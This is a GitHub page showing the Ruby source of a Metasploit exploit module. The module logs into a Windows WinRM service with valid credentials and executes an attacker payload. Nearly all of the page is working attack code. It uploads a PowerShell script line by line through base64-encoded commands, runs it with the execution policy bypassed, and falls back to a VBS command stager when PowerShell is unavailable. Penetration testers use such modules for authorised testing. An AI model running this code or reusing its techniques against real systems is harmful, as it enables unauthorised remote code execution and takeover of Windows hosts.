-
Notifications
You must be signed in to change notification settings - Fork 14k
/
winrm_script_exec.rb
227 lines (201 loc) · 6.86 KB
/
winrm_script_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/winrm/connection'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WinRM Script Exec Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2 (and above) and VBS CmdStager.
The module will check if Powershell is available, and if so uses
that method. Otherwise it falls back to the VBS CmdStager which is
less stealthy.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
],
'Privileged' => true,
'DefaultOptions' => {
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64_sleep')
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[ 'Windows', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-11-01',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
@compat_mode = false
end
def exploit
check_winrm_parameters
self.conn = create_winrm_connection
self.shell = conn.shell(:cmd, {})
if powershell2?
path = upload_script
return if path.nil?
exec_script(path)
else
execute_cmdstager({ flavor: :vbs })
end
handler
end
# Run the WinRM command
def winrm_run_cmd(command)
shell.run(command)
end
# Run the WinRM command on a background thread
def winrm_run_cmd_async(command)
framework.threads.spawn("winrm_script_exec keepalive worker", false) do
begin
winrm_run_cmd(command)
ensure
self.shell.close
end
end
end
# Execute a command on the WinRM shell (called via the VBS Stager)
def execute_command(cmd, _opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? 'cscript'
winrm_run_cmd_async(command)
elsif command.include? 'del %TEMP%'
next
else
winrm_run_cmd(command)
end
end
end
# Uploads a powershell script to the server
# @return [String] Path to the uploaded script
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + '\\' + ::Rex::Text.rand_text_alpha(8) + '.ps1'
print_status("Uploading powershell script to #{path} (This may take a few minutes)...")
script = Msf::Util::EXE.to_win32pe_psh(framework, payload.encoded)
# add a sleep to the script to give us enough time to migrate
script << "\n Start-Sleep -s 20"
script.each_line do |psline|
# build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
winrm_run_cmd(cmd)
end
return path
end
# Executes the PowerShell script at the given path
# @param [String] path Path to the uploaded script
def exec_script(path)
print_status('Attempting to execute script...')
cmd = "#{@invoke_powershell} -ExecutionPolicy bypass -File #{path}"
winrm_run_cmd_async(cmd)
end
# Create a command line to execute the provided script inline
# @return [String] Command line argument to execute the provided command in the -EncodedCommand parameter
def encoded_psh(script)
script = Rex::Text.encode_base64(script.encode('utf-16le')).chomp
return "#{@invoke_powershell} -encodedCommand #{script}"
end
# Gets the temporary directory of the remote shell
# @return [String] The temporary directory of the remote shell
def temp_dir
print_status('Grabbing %TEMP%')
cmd = 'echo %TEMP%'
output = winrm_run_cmd(cmd)
return output.stdout.chomp
end
# The architecture of the remote system
def get_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp = conn.run_wql(wql)
addr_width = resp[:xml_fragment][0][:address_width]
if addr_width == '64'
return ARCH_X64
else
return ARCH_X86
end
end
# Verifies that the remote architecture is compatible with our payload
# @return [Boolean] Does the payload match the architecture?
# @note Sets @compat_mode to true if running x86 payload on x64 arch
def correct_payload_arch?
@target_arch = get_remote_arch
case @target_arch
when ARCH_X64
unless datastore['PAYLOAD'].include?(ARCH_X64)
print_error('You selected an x86 payload for an x64 target...trying to run in compat mode')
@compat_mode = true
return false
end
when ARCH_X86
if datastore['PAYLOAD'].include?(ARCH_X64)
print_error('You selected an x64 payload for an x86 target')
return false
end
end
return true
end
# Is PowerShell version 2 (or above) available
# @return [Boolean]
# @note Sets @invoke_powershell based on whether @compat_mode is set - to potentially force the use of x86 PowerShell while on an x64 system
def powershell2?
if datastore['FORCE_VBS']
print_status('User selected the FORCE_VBS option')
return false
end
print_status('Checking for Powershell 2.0')
output = winrm_run_cmd('powershell Get-Host')
if output.stderr.include? 'not recognized'
print_error('Powershell is not installed')
return false
end
output.stdout.each_line do |line|
next unless line.start_with? 'Version'
major_version = line.match(/\d(?=\.)/)[0]
if major_version == '1'
print_error('The target is running an older version of Powershell')
return false
end
end
return false unless correct_payload_arch? || (@target_arch == ARCH_X64)
if @compat_mode == true
@invoke_powershell = '%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
else
@invoke_powershell = 'powershell'
end
return true
end
# @return [WinRM::Shells::Cmd] The WinRM Shell object
attr_accessor :shell
# @return [Net::MsfWinRM::RexWinRMConnection] The WinRM connection
attr_accessor :conn
end